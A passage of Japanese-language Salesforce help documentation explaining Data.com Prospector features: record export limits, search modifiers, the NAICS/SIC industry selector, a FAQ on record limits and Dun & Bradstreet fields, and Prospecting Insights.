• Data.com取引先責任者または取引先をSalesforceに追加するのではなく、エクスポートする場合、エクスポー
トした各レコード数は、レコード追加残数にカウントされます。Salesforce にすでに追加したレコードをエ
クスポートするか、以前にエクスポートしたレコードを再度エクスポートする場合、エクスポートしたレ
コード数はレコード追加残数制限にカウントされません。

• Data.com 取引先責任者のグループをエクスポートする場合、レコード追加残数には影響を与えずに、それ
らの取引先責任者を取引先責任者またはリードとして Salesforce に戻すことができます。

• 追加制限または追加できる残りのレコードの数に関係なく、一度に 100,000 件を超えるレコードをエクス
ポートすることはできません。レコードは、50,000 件のバッチ単位でエクスポートされます。2 つのバッチ
が必要な場合は、レコードが .zip ファイルで送信されます。

• 電話番号などの数値が .csv ファイルで中断される場合は、.csv ファイルの項目列の形式を [標準]または [テ
キスト] に変更するか、ワードパッドなどのテキストエディタでファイルを開きます。

• データローダを使用すると、Salesforce にエクスポートされたレコードのリストをインポートできます。
Data.com設定で重複レコードが許可されるように設定されていない限り、インポートプロセスでは[Data.com

キー] 項目の Data.com ID 番号を使用して重複が確認されます。
次のレコードは、データローダからインポートされません。
– .csv ファイル内にある他のレコードと同じ ([Data.com キー] 項目の) Data.com ID を持つすべてのレコー

ド。
– Salesforceにすでにあるレコードと同じ ([Data.com キー] 項目の) Data.com ID を持つすべてのレコード。

見込み客検索結果から関心のある対象への絞り込み
Data.com Prospector ライセンスでは、検索項目および修飾子を使用して関心のある企業、業種、および場所
のみを対象にすることができます。その後で、簡単に検索結果を保存できます。
Data.com FAQ の使用
ユーザの Data.com に関するよくある質問 (FAQ) への回答を確認します。

関連トピック:

Salesforce での企業、取引先責任者、およびリードの見込み調査
Salesforce での企業、取引先責任者、およびリードの見込み調査の考慮事項
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見込み客検索結果から関心のある対象への絞り込み

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector ライセンスでは、検索項目および修飾子を使用して関心のあ
る企業、業種、および場所のみを対象にすることができます。その後で、簡単
に検索結果を保存できます。

Data.com 検索について
Data.com 検索機能のしくみ、検索項目、およびビジネスにとって最も価値の
あるレコードを簡単に見つけられるように条件や場所の条件を使用して検索
結果を絞り込む方法を学習します。
Data.com 検索修飾子について
Data.com取引先および取引先責任者を検索する場合、修飾子を使用して、ター
ゲットを設定し、検索結果を絞りこむことができます。以降に修飾子の機能
を項目ごとに示します。
Data.com でレコードの [業種] が決定される方法
主 SIC (標準業種分類) コードを使用して、Data.comで取引先カードと取引先レ
コードの [業種]項目の値を決定します。この業種の対応付けに主 SIC コード
のみを使用することで、[業種]項目の値により一貫性のある正確な値を提供することができます。これに
より、検索クエリで使用する業種分類システムに関係なく、より関連性の高い検索結果を得ることができ
ます。
Data.com 業種セレクタ
Data.com の取引先および取引先責任者を検索する場合、検索条件に業種や下位業種を追加するには業種セ
レクタを使用します。

Data.com検索について
エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com検索機能のしくみ、検索項目、およびビジネスにとって最も価値のある
レコードを簡単に見つけられるように条件や場所の条件を使用して検索結果を
絞り込む方法を学習します。
Data.comでは CRM レコードを簡単に検索できます。検索を開始するには、[Data.com]

タブの項目に検索条件を入力します。また、検索修飾子を使用して検索対象を
設定し、結果を絞りこむことができます。入力および選択した条件によっては、
結果の取引先または取引先責任者のリストが長くなることがあります。結果の
件数は、結果リストのヘッダーまたはフッターで確認します。入力および選択
した内容をすべてクリアする必要がある場合は、[検索のリセット] リンクをク
リックします。検索結果は、新しい検索を開始するか、ブラウザページを更新
するまで表示されます。
取引先検索では、会社名、親会社の Web サイト、および親会社の子会社および
支社の Web サイトに基づいて Data.com 検索結果が取得されるため (該当する場
合)、実際には検索しなかった会社が検索結果に含まれる可能性があります。た
とえば、Sun Microsystems を検索する場合に、Sun Microsystemsまたは sun.com

のいずれかを [会社名または Web サイト] 項目に入力すると、Oracle Corporation は Sun Microsystems の親会社で
あるため、検索結果には Oracle も含まれます。
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また、取引先検索は、[取引先名] 項目と [取引形態] 項目の両方に基づきます。このため、たとえば United

Parcel Services を探している場合、取引形態の UPS で検索しても、検索結果に United Parcel Services,

Inc. が表示されます。
一連のレコードが表示されたら、必要に応じて検索条件を追加して、リストを絞り込むことができます。ペー
ジの左側で検索条件カテゴリを探し、必要な検索条件のチェックボックスをオンにします。検索によっては、
結果に固有の検索条件オプションが生成されます。たとえば、[ヘルスケア、製薬、バイオテクノロジー]業種、
特に[医師および医療従事者]のリードを探している場合、[タイトル] カテゴリの検索条件のリストには、[医
師]、[カイロプラクター]、[歯科医]、[オフィスマネージャ]などが含まれる場合があります。[タイトル]、
[会社名]、および [Web サイトのドメインの種別] 検索条件について検索結果のリストが長くなった場合は、
ほとんどの結果で 25 個の検索条件が表示されます。表示される検索条件のリストを短くするには、最初の検
索結果を絞り込みます。
一部の検索条件カテゴリは検索を実行すると自動的に展開されますが、[条件] パネルの上部にあるリンクをク
リックすると、すべての検索条件を展開または折りたたむことができます。検索条件を選択すると、検索結果
リストが自動的に更新されます。
たとえば、IBM 社の取引先詳細ページから取引先責任者を検索する場合、[Data.com] タブが開き、[取引先責任者
の検索] サブタブの [会社名または Web サイト] 項目に IBM 社の URL www.ibm.com が自動的に入力されます。
この検索では、世界中の何千人もの IBM 取引先責任者のリストが生成されます。通常、これは多すぎるため、
次のいずれかの操作を実行できます。
• 場所条件 (オーストラリア、アメリカなど) または業種オプション (コンピュータ & エレクトロニクス、金融

サービスなど) を選択して最初の検索を絞り込む
• 検索条件 (人事、C レベル、プログラムマネージャなど) を選択して検索結果リストを絞り込む
• [会社名] 検索条件カテゴリで「IBM」を選択する。
検索条件を追加して結果を絞り込むことで、取引先責任者のリストを 30,000 人以上から電話やメールで連絡す
る 25 人程度にまで絞り込むことができます。

関連トピック:

Data.com 検索修飾子について
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Data.com検索修飾子について
エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com で取引先を検索
する
• 権限不要

取引先責任者の Data.com
を検索する
• 権限不要

Data.com 取引先および取引先責任者を検索する場合、修飾子を使用して、ター
ゲットを設定し、検索結果を絞りこむことができます。以降に修飾子の機能を
項目ごとに示します。
会社名または Web サイト
• 複数の企業を検索したり、検索から除外する場合は、カンマ (,) で区切りま

す。たとえば、salesforce.com,Apple では、salesforce.com および Apple

(Apple Computer, Inc. および Apple Inc. など) の両方が結果として返されます。ま
たは、Data.com データによっては、いずれか 1 つが返されます。

• 企業の完全一致する名前を検索するには、二重引用符 (" ") で名前を囲んで入
力します。たとえば、"Apple, Inc." では完全一致の会社名「Apple, Inc.」
が返されます。

• 結果から特定の企業を除外するには、企業名の前にマイナス記号 (–) を入力
します。たとえば、–Oracle では Oracle を除く結果リストが返されます。1

つ以上の単語で構成される企業名の場合は、マイナス記号の後に、名前の最
初の一部を入力します。たとえば、–Adobe では Adobe Systems を除く結果リ
ストが返されます。

• また、複数の検索修飾子を併用できます。たとえば、salesforce,

–Microsoft, "GE Healthcare"では、salesforce (salesforce、salesforce.com, inc

など) を含むすべての結果が返され、Microsoft を含むすべての結果が除外さ
れ、GE Health Care ではなく GE Healthcare が見つかります。

役職
• 役職を除外するには、役職の前にマイナス記号 (–) を入力します。例: –バイ

ヤー。
• 完全一致の役職を検索する場合は、二重引用符 (" ") で囲んで入力します。例: "最高経営責任者"。
• 複数の役職を検索する場合は、カンマ (,) で区切ります。例: CEO,–Dr,"最高経営責任者"。
名前またはメール
• この項目の個別の要素 (名前のみまたはメールのみ) の結果を検索するには、コロン (:) およびスペースに続

けて要素を入力し、検索する名前、またはメールを入力します。たとえば、名前: Marc Benioff では、
Marc Benioff という名前のみを含む結果が返されます。メール: marcbenioff@salesforce.com ではメー
ルアドレス marcbenioff@salesforce.com のみを含む結果が返されます。

• 「名前: 」、または「メール: 」を含まない場合、修飾子は機能しません。また、これらの修飾子を併用し
たり、照合したりすることはできません (同一検索内で「名前: 」および「メール: 」を使用するなど)。

• 複数の名前またはメールを検索する場合は、カンマ (,) で区切ります。
• 完全一致の役職、名前、またはメールを検索する場合は、二重引用符 (" ") で区切ります。
• 結果からある役職、名前、またはメールを除外するには、要素の前にマイナス記号 (–) を入力します。
場所 | 市区郡
• 複数の市区郡を検索する場合は、カンマ (,) で区切ります。たとえば、San Francisco, San Joseでは、

San Francisco と San Jose の両方が結果として返されます。または、Data.com データによっては、いずれか 1 つ
が返されます。
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• 完全一致の市区郡を検索する場合は、二重引用符 (" ") で囲んで入力します。たとえば、"San Francisco"

で検索した場合、South San Francisco の検索結果は返されません。同様に、"South San Francisco" で検
索した場合、San Francisco の検索結果は返されません。

場所 | 郵便番号
• 複数の郵便番号を検索する場合は、カンマ (,) で区切ります。たとえば、94105,94122では、94105 と 94122

の両方が結果として返されます。または、Data.com データによっては、いずれか 1 つが返されます。
• 結果からある郵便番号を除外するには、郵便番号の前にマイナス記号 (–) を入力します。たとえば、–94122

では 94122 を除く結果リストが返されます。
場所 | 市外局番
• 複数の市外局番を検索する場合は、カンマ (,) で区切ります。たとえば、312,708 では、312 と 708 の両方

が結果として返されます。または、Data.com データによっては、いずれか 1 つが返されます。
• 結果から 1 つの市外局番を除外するには、市外局番の前にマイナス記号 (–) を入力します。たとえば、–708

では 708 を除く結果リストが返されます。

関連トピック:

Data.com 検索について

Data.comでレコードの [業種] が決定される方法
エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

主 SIC (標準業種分類) コードを使用して、Data.comで取引先カードと取引先レコー
ドの [業種] 項目の値を決定します。この業種の対応付けに主 SIC コードのみを
使用することで、[業種]項目の値により一貫性のある正確な値を提供すること
ができます。これにより、検索クエリで使用する業種分類システムに関係なく、
より関連性の高い検索結果を得ることができます。
限定された数の Data.com 取引先には、Data.com - Jigsaw が取引先カードの
[ソース] 項目の値として表示されます。これらの取引先には SIC コードの値が
ないため、[業種]値は異なるシステムを使用して決定されます。詳細は、Salesforce

カスタマーサポートにお問い合わせください。

例: Data.com で 電子工学 に対応付けられる、SIC 業種の値が「コンピュータ
周辺機器」である取引先をData.comで検索するとします。Data.comの検索結
果には、[業種]項目の値が電子工学であるすべての取引先が含まれます。
Data.com 業種カテゴリ分類システムを使用し、「コンピュータおよび電子製
品」業種を選択した場合も電子工学に対応付けられ、検索結果にも [業種]

項目に 電子工学 という値を持つすべての取引先が含まれます。
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Data.com業種セレクタ
エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.comの取引先および取引先責任者を検索する場合、検索条件に業種や下位業
種を追加するには業種セレクタを使用します。
手順は次のとおりです。

1. 組織が使用する業種分類体系を選択します。
• NAICS  (North American Industry Classification System): 北米の企業を経済活動の種別に基づいて分類するために

企業と政府機関によって使用されます。この体系には、20 個の業種セクタが含まれ、それぞれに複数レ
ベルの下位業種が含まれます。業種と下位業種は最大 6 桁の数値コードで識別されます。

• SIC  (Standard Industry Classification): 企業を経済活動の種別に基づいて分類するために米国政府機関によっ
て使用されます。この体系には、10 個の業種セクタが含まれ、それぞれに複数レベルの下位業種が含ま
れます。業種と下位業種は最大 4 桁の数値コードで識別されます。
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• Data.com 業種カテゴリ: Data.com の業種および下位業種別の企業分類体系。
いつでも異なる業種分類体系を選択できますが、それによって選択内容がクリアされます。

2. 選択パネルを使用して業種とその下位業種を参照し、検索に追加します。業種に数値の分類コードがある
場合は、ここに表示されます。業種名の上にマウスポインタを置くと、2 つのオプションが表示されます。
• 業種名をクリックすると、下位業種がある場合は右パネルに表示されます。業種で下位業種を使用可能

な場合は、業種名の右に矢印 が表示されます。
• 業種 (すべての下位業種を含む) を [カテゴリ検索基準] (カテゴリ) ボックスに追加するには、[追加] をク

リックします。
右パネルで業種名をクリックすると、業種名が左パネルに移動し、下位業種が右パネルに表示されます。
引き続きこの方法で業種レベル間の移動や、検索する業種と下位業種の追加ができます。下位業種名の右
にある円 は、下位業種の最終レベルに達していることを意味します。業種を検索条件に追加すると、
[カテゴリ] ボックスに表示され、そのすべての下位業種が自動的に含まれます。さらに、その名前の横に
緑の塗りつぶしのチェックマーク も表示されます。ただし、[カテゴリ] ボックスに表示されるのは業
種のみです。

[カテゴリ] ボックスから業種を削除するには、業種名の上にマウスポインタを置き、 をクリックしま
す。選択パネルから下位業種を削除すると、業種が [カテゴリ] ボックスから削除され、その残りの下位業
種が代わりに表示されます (このように部分的な選択は、業種名の横に表示された緑の白抜きのチェック
マーク で示されます)。業種のすべての下位業種ではなく、一部を選択した場合、[カテゴリ] ボックス
内の選択数が増えます。

3. 業種レベル内の現在位置を追跡するには、ページ上部のナビゲーションリンクを使用します。選択パネル
の特定の業種レベルに戻るには、そのリンクをクリックします。

4. 業種レベルを 1 つ上に移動するには、[戻る] 矢印をクリックします。
5. 検索に追加したすべての業種と下位業種が、[カテゴリ検索基準] ボックスに表示されます。個々の選択を

削除するには、業種または下位業種名の横にある をクリックします。[すべてクリア] をクリックする
と、すべての選択が削除されます。

6. 1 つの検索に追加できる業種と下位業種の数には制限があります。制限を超えた場合、検索を続行するには
選択を削除する必要があります。

7. [カテゴリ検索基準] ボックスに含まれる業種が多すぎる場合、すべてを表示するには、必要に応じて矢印
をクリックしてボックスを展開します。

次に、例で業種セレクタのしくみを説明します。John は、コンピュータを製造する会社を探しています。North

American Industry Classification System (NAICS) を使用することに決め、まず [製造業] 業種をクリックして下位業種を
表示します。これには、[食品製造業]、[機械製造業]、など多くが含まれます。[コンピュータおよび電子製品
製造業] を見つけ、クリックして左パネルに移し、右パネルに下位業種を表示します。引き続きこの方法で業
種レベルの下位へと進み、最終的に求めていた [[コンピュータおよび周辺機器製造業]] が見つかるまで下位業
種をクリックしていきます。John は [追加] をクリックして、2 つの下位業種 [コンピュータ製造業] と [コン
ピュータ記憶装置製造業] を [カテゴリ検索基準] ボックスに追加します。これらの選択内容は、選択パネルで
他のレベルに移動し、他の業種を追加しても、[カテゴリ] ボックスに残ります。業種の [カテゴリ] ボックスへ
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の追加を終了したら、最後に選択内容を確認し、問題がなければ [完了]をクリックして[Data.com]タブに戻っ
て検索を完了します。

関連トピック:

Data.com 検索について

Data.com FAQ の使用

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザの Data.com に関するよくある質問 (FAQ) への回答を確認します。

Data.com 検索結果の関連情報をすべて表示する方法は?

自分の Data.com ユーザ種別を確認するには?

自分の Data.com 検索結果を改善する方法は?

検索していない会社が Data.com 検索結果に表示されるのはなぜですか?

Salesforce に追加できる Data.com レコードの上限は?

Data.com から CRM レコードを追加する場合に、Data.com データが含まれてい
る項目値を見つける方法は?

取引先レコードの [取引先部門] 項目値の意味は?

公開企業であると分かっている企業の [会社形態] 項目の値が [非公開] である
のはなぜですか?

取引先レコードの [従業員数] 項目の数字と [取引先責任者] 項目の数字に違い
があります。なぜですか?

Data.com を使用していますが、[従業員数] 項目と [収益] 項目に空白またはゼロ (0) の値が表示されます。な
ぜですか?

Data.com Clean 自動入力機能を使用した後、一部のリードの [年間売上] 項目と [従業員数] 項目の値が空白ま
たはゼロ (0) になるのはなぜですか?

従業員数または収益の検索条件を使用して自分の取引先または取引先責任者の検索結果を絞り込むと、取
得される結果数が予想よりかなり少ない数になります。なぜですか?

一部の取引先レコードおよび D&B 企業レコードの D-U-N-S number が同じであるのはなぜですか?

[取引先部門] 項目と [場所種別] 項目の違いは?

データへのアクセスは制限されているため、このレコードを完全にはクリーンアップできません。という
メッセージが表示されるのはなぜですか?

データアクセス制限により、このレコードをクリーンアップできません。というメッセージが表示される
のはなぜですか?

関連トピック:

Data.com 検索について
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Data.com検索結果の関連情報をすべて表示する方法は?

データのセキュリティを保護するため、検索結果が 10 ページを超える場合は、表示できる詳細が制限されま
す。
検索結果に関連情報をすべて表示するには、次のようにします。
• ページの左側で検索条件を使用して、検索範囲を絞り込みます。検索の焦点ではない結果を除外すること

で、件数が少なく的確な結果になります。たとえば、会社の販売部門で責任者レベルの取引先を選択する
と、探している取引先のみが表示され、結果が 50 ページから 4 ページに削減されます。

• 検索対象が最初の数行に表示されるように、検索結果を並び替えます。たとえば、最後に更新した取引先
が最初に表示されるように、[更新] 列を並び替えます。

探している取引先が特定されたら、それをData.comからSalesforceに追加またはエクスポートして取引先を購入
します。購入して組織に追加する取引先と取引先責任者の完全な詳細が表示されます。

自分の Data.comユーザ種別を確認するには?

これは簡単に確認できます。[個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、
[高度なユーザの詳細]を選択します。結果がありませんか? [クイック検索]ボックスに「個人情報」と入力し、
[個人情報]を選択します。[Data.com ユーザ種別] 項目で、自分がData.comユーザとData.comリストユーザの
どちらであるかが識別されます。項目が空白の場合は、Data.com ユーザライセンスがありません。
自分の Data.com ユーザ種別の簡単な定義を参照するには、項目の横にある情報アイコン ( ) をクリックしま
す。

関連トピック:

Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ
Data.com FAQ の使用

自分の Data.com検索結果を改善する方法は?

これは簡単です。検索修飾子を使うだけです。例を表示するには、各Data.com検索項目の上に表示される情報
アイコン ( ) をクリックします。頻繁に使用する検索を保存する場合にも役立ちます。

関連トピック:

Data.com 検索について

検索していない会社が Data.com検索結果に表示されるのはなぜですか?

取引先検索では、会社名、親会社の Web サイト、および親会社の子会社および支社の Web サイトに基づいて
Data.com 検索結果が取得されるため (該当する場合)、実際には検索しなかった会社が検索結果に含まれる可能
性があります。たとえば、Sun Microsystems を検索する場合に、Sun Microsystems または sun.com のいずれ
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かを [会社名または Web サイト]項目に入力すると、Oracle Corporation は Sun Microsystems の親会社であるため、
検索結果には Oracle も含まれます。

関連トピック:

Data.com 検索について
Data.com FAQ の使用

Salesforceに追加できる Data.comレコードの上限は?

[設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[プロスぺクタユーザ] を選択します。[Data.com

ユーザ] セクションで、自分の名前を見つけて、1 か月あたりの制限と、その月ですでに追加またはエクスポー
トしているレコード数を確認します。毎月の許容量は、システム管理者によって設定され、上限に達している
かどうかに関係なく毎月末に有効期限が切れます。
Data.comリストユーザである場合、ページの [Data.com List ユーザ] セクションにも名前が表示されます。月あた
りのレコード追加数を使用したら、組織の他のリストユーザとプールのレコード追加数を共有します。組織の
プールには制限があるため、ある Data.com リストユーザが上限に達すると、他の Data.com リストユーザはレ
コードを追加できません。リストプールは購入してから 1 年後に有効期限が切れます。
レコードをまとめて追加すると追加上限を超える場合は、残り何個を追加できるかを知らせるメッセージが表
示されます。それでもレコードを追加する必要がある場合は、システム管理者にお問い合わせください。

関連トピック:

Data.com FAQ の使用

Data.comから CRM レコードを追加する場合に、Data.comデータが含まれている項目値を見つける方法
は?

それらのレコードの項目を定義するヘルプトピックを確認するだけです。Data.comデータを取得できるすべて
の項目が見つかります。
• 取引先項目
• 取引先責任者の項目
• リードの項目

関連トピック:

Data.com FAQ の使用

取引先レコードの [取引先 部門] 項目値の意味は?

[本部/親] は、会社が他の事業所を持つ法人であることを示します。
[単一の場所] は、会社が他の事業所を持たない本社であり、独立した別個の法人であるか、ないかを示しま
す。
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[支社] は、会社が独立した事業体ではないことを示します。つまり、支社が本社または親会社の一事業所で
あることを示します。

関連トピック:

[取引先部門] 項目と [場所種別] 項目の違いは?

Data.com FAQ の使用

公開企業であると分かっている企業の [会社形態] 項目の値が [非公開] であるのはなぜですか?

このデータを提供する Dun & Bradstreet (D&B) では、本社または親会社の会社形態情報のみを追跡しています。株
式会社または親会社に支社などの子会社がある場合は、独立経営でない限り、それらの子会社には [非公開]

という値が表示されます。また、会社形態の種別が不明である場合も、この値は [非公開] になります。

関連トピック:

取引先レコードの [取引先部門] 項目値の意味は?

Data.com FAQ の使用

取引先レコードの [従業員数]項目の数字と [取引先責任者]項目の数字に違いがあります。なぜです
か?

次のようないくつかの理由が考えられます。
• 従業員数は [取引先 部門] 項目に [本部/親] の値を含むレコードでのみ使用できます。つまり、支社では

[従業員数]項目にゼロの値が表示されているのに、取引先責任者数が表示される可能性があるということ
です。

• 取引先レコードの [従業員数]項目では、すべての子会社および支社を含む、会社の総従業員数が表示され
ます。ただし、取引先責任者数は特定の事業所の取引先責任者のみを反映します。そのため、あらゆる事
業所を含めた場合、本社 (本部) 従業員数が 5,000 名であるけれども、本社 (本部) の取引先責任者は 3,000 名の
みという場合があります。

• 従業員数の合計値は Dun & Bradstreet (D&B) から取得され、通常、契約社員は含まれません。取引先責任者の
合計値と関連データは Data.com コミュニティから取得され、通常、有効な会社のメールアドレスを所有し
ているかぎり、契約社員は含まれます。

関連トピック:

Data.com FAQ の使用

Data.comを使用していますが、[従業員数] 項目と [収益] 項目に空白またはゼロ (0) の値が表示されま
す。なぜですか?

Dun & Bradstreet (D&B) は本社および単一の事業所の収益データのみを収集するため、支社に関連付けられたレ
コードには取引先レコードおよびリードレコードの [年間売上]項目や、D&B 企業レコードの [年間売上高]項
目の値は表示されません。
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同様に、D&B は支店および単一の事業所の従業員数を常に確認しているわけではないため、リードレコードの
[従業員数] 項目、取引先レコードの [従業員] 項目、または D&B 企業レコードの [従業員数 — 合計] 項目に
値が表示されない場合があります。

関連トピック:

Data.com FAQ の使用

Data.com Clean自動入力機能を使用した後、一部のリードの [年間売上] 項目と [従業員数] 項目の値が
空白またはゼロ (0) になるのはなぜですか?

Data.com Cleanでの場所ベースの照合が改善されたため、取引先責任者は組織の本社の場所ではなく、実際の場
所に関連付けられるようになりました。Dun & Bradstreet (D&B) は本社の収益データのみを収集するため、支社ま
たは単一の事業所に関連付けられたリードの [年間売上] 項目には値が表示されません。同様に、D&B は支社
または単一の事業所の従業員数を常に確認しているわけではないため、リード記録の [従業員数] 項目に値が
ない場合があります。
本社から支社または単一の事業所のレコード収益と従業員数のデータを対応付ける場合は、Salesforce システム
管理者へお問い合わせください。

関連トピック:

Data.com FAQ の使用

従業員数または収益の検索条件を使用して自分の取引先または取引先責任者の検索結果を絞り込む
と、取得される結果数が予想よりかなり少ない数になります。なぜですか?

Dun & Bradstreet (D&B) は支社の収益データを収集せず、支社または単一の事業所の従業員数を常に確認している
わけではありません。このため、収益検索条件の最小範囲として 1 を入力すると、[収益] の値がゼロ (0) であ
るすべてのレコードが検索結果から除外されます。同様に、収益検索条件の最小範囲として 0を入力すると、
[収益] の値が空白であるすべてのレコードが検索結果から除外されます。従業員数検索条件も同様に機能しま
す。
絞り込んだ検索結果に [収益] または [従業員数] の値がゼロ (0) または空白であるすべてのレコードを含める場
合は、[最小] 項目を空白のままにしてください。

関連トピック:

取引先レコードの [取引先部門] 項目値の意味は?

Data.com FAQ の使用
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一部の取引先レコードおよび D&B 企業レコードの D-U-N-S number が同じであるのはなぜですか?

企業が 1 つの国でのみ経営されている場合、[グローバル代表企業] (組織の最上位のエンティティ) および [国内
代表企業] (国内の組織の最上位のエンティティ) は同じエンティティになります。そのため、[D-U-N-S 番号]

項目の値は同じです。すべての D&B 項目の定義については、「D&B 企業項目」を参照してください。

関連トピック:

Data.com FAQ の使用

[取引先 部門] 項目と [場所種別] 項目の違いは?

[取引先 部門] は、取引先レコードおよび Data.com 取引先カードにある項目です。[場所種別] は、D&B 企業レ
コードにある項目です (D&B 企業レコードは、Data.com Prospectorを購入した顧客が利用できます)。どちらの項
目にも 単一の場所、本部/親、および 支社 という同じ値が含まれます。

関連トピック:

Data.com FAQ の使用

データへのアクセスは制限されているため、このレコードを完全にはクリーンアップできません。というメッ
セージが表示されるのはなぜですか?

取引先、取引先責任者、またはリードレコードの 1 つ以上の項目を編集できない場合、Data.com Cleanを使用し
て手動でレコードをクリーンアップすると、このエラーメッセージが表示されます。編集できる項目はクリー
ンアップできます。
レコードをクリーンアップするときに影響を受ける Salesforce項目 (D&B 項目を含む) を編集できるかどうかを確
認するようにシステム管理者に依頼してください。システム管理者による確認方法は、会社で使用している
Salesforce のエディションによって異なります。
• Contact Manager Edition および Group Edition の場合、各項目が適切なページレイアウトにあることを確認しま

す。
• Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition の場合、各項目の項目レベルセキュリ

ティが 参照可能 に設定されていることを確認します。

関連トピック:

データインテグレーションルールと Data.com Clean に影響を受ける項目
Data.com FAQ の使用

データアクセス制限により、このレコードをクリーンアップできません。 というメッセージが表示される
のはなぜですか?

[D&B 企業] オブジェクトへの適切なアクセス権がない場合、Data.com Clean を使用して手動で取引先をクリー
ンアップすると、このエラーメッセージが表示されます。
[D&B 企業] オブジェクトへの参照アクセス権があることをシステム管理者に確認してください。
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取引先の業界、財務、競合会社のインサイトの取得

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

取引先の Data.com プロス
ペクティングインサイト
を取得する
• 取引先に対する「参

照」

取引先のビジネスについて詳しい情報が必要ですか? 取引先詳細ページの [プロ
スペクティングインサイト]ボタンをクリックすると、見込み客のビジネスと財
務状況や、競合会社と業種の詳細を Data.com からリアルタイムで直接取得でき
ます。
プロスペクティングインサイトは、Data.com Prospector ライセンスで使用できま
す。Data.comからインポート、またはData.comでクリーンアップした取引先のイ
ンサイトデータを使用できます。
開始前に、システム管理者が [プロスペクティングインサイト] ボタンを取引先
ページレイアウトに追加したことを確認します。
1. 見込み客の取引先詳細ページを開きます。
2. [プロスペクティングインサイト] をクリックします。

Data.com からインポート、または Data.com でクリーンアップされていない取
引先の [プロスペクティングインサイト]をクリックすると、取引先のクリー
ンアップを推奨するメッセージが表示されます。

関連トピック:

プロスペクティングインサイトデータの詳細

プロスペクティングインサイトデータの詳細

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.com プロスペクティングインサイトでは、D&B 企業の詳細と業界インテリ
ジェンスがクイックビュースナップショットにまとめられ、見込み客や顧客と
効率的に会話を始めることができます。
プロスペクティングインサイトは、Data.com Prospector ライセンスで使用できま
す。インサイトデータは参照のみで、Data.comからインポート、またはData.com

でクリーンアップした取引先に使用できます。

詳細インサイトカテゴ
リ

ビジネスの詳細 • Dun & Bradstreet の子会社である Hoover's, Inc. で提供される
会社の説明

• 会社の住所、電話、Web サイト
• 場所種別 – 本社または支社
• 立地面積 (実測または推定の平方フィート)

• 場所の所有権 – 所有または賃借
• 取引形態 (使用している場合)

• 会社の創立年

財務の詳細 • 決算期 (月)
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詳細インサイトカテゴリ

• 証券取引および銘柄記号
• Standard & Poor の 500 インデックスインジケータ
• Fortune 1000 の順位
• 支払遅延リスク (今後 12 か月間にこの企業の支払いが 90 日以上遅れる可能性)*

重要: この情報は、マーケティングの事前スクリーニング目的にのみ使
用してください。

• 直近年度とその前年度の年間売上、および成長率
• 直近年度の純利益*

• 直近年度とその前年度の従業員数、および増加率

Data.com から取得する取引
先責任者

• 会社の取引先責任者分布のグラフィカルビュー
• 部門別の会社の取引先責任者へのリンク – リンクをクリックすると、Data.com

の [取引先責任者の検索] ページが表示される

トップクラスの競合他社 • 会社のトップクラスの競合他社の Web サイトへのリンク
• 収益別に表示された主要な競合他社

業種の詳細 • NAICS および SIC の大分類
• NAICS および SIC の大分類に関連する業種の業種セレクタ
• 電話質問集のサンプル
• 競合状況分析* – 業界の競合環境の概要
• 業界の動向* および業界の機会* – イベントや問題が業界ビジネスに与える影

響
• 選択した業界の Web サイトへのリンク

* プレミアムライセンスがある場合のみ使用可能

Lightning のプロスペクティングインサイト

エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.com プロスペクティングインサイトでは、Dun & Bradstreet 企業の詳細と業界
インテリジェンスがスナップショットにまとめられます。組織情報、取引先階
層、関連業種へのリンクを示すタブがあり、見込み客や顧客と効率的に会話を
始めることができます。
プロスペクティングインサイトは、Data.com Prospector ライセンスで使用できま
す。インサイトのデータは参照のみで、Data.comからインポート、またはData.com

でクリーンアップした取引先に使用できます。
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重要:  Professional Edition を使用している場合は、取引先ページレイアウトに [Data.com キー] 項目を追加しま
す。

会社
会社概要、財務詳細、上位競合他社のリスト、取引先責任者の詳細を表示します。レベルまたは部門別に取引
先責任者を表示および追加します。主要な競合他社の詳細を参照します。会社のリンクを把握します。

階層
会社とそのリンクの完全な階層ビューを確認できます。会社の横にあるプラス記号 (+) をクリックすると、会
社が取引先として追加されます。

業種
業種の重要なインサイトが示されるため、的を得た会話で取引先を引き込むことができます。
業種の詳細

SIC (Standard Industrial Classification) および NAICS (North American Industry Classification System) のコードと説明で識別
される取引先の業種に関する詳細を表示します。

競争状況
関連する業界における取引先の将来性を把握します。

トレンド
取引先の財務状況を把握し、潜在的な成長分野を見い出します。

商談
取引先の各種の商談を確認します。

電話質問集
詳細な Q&A で電話の準備をします。

業界 Web サイト
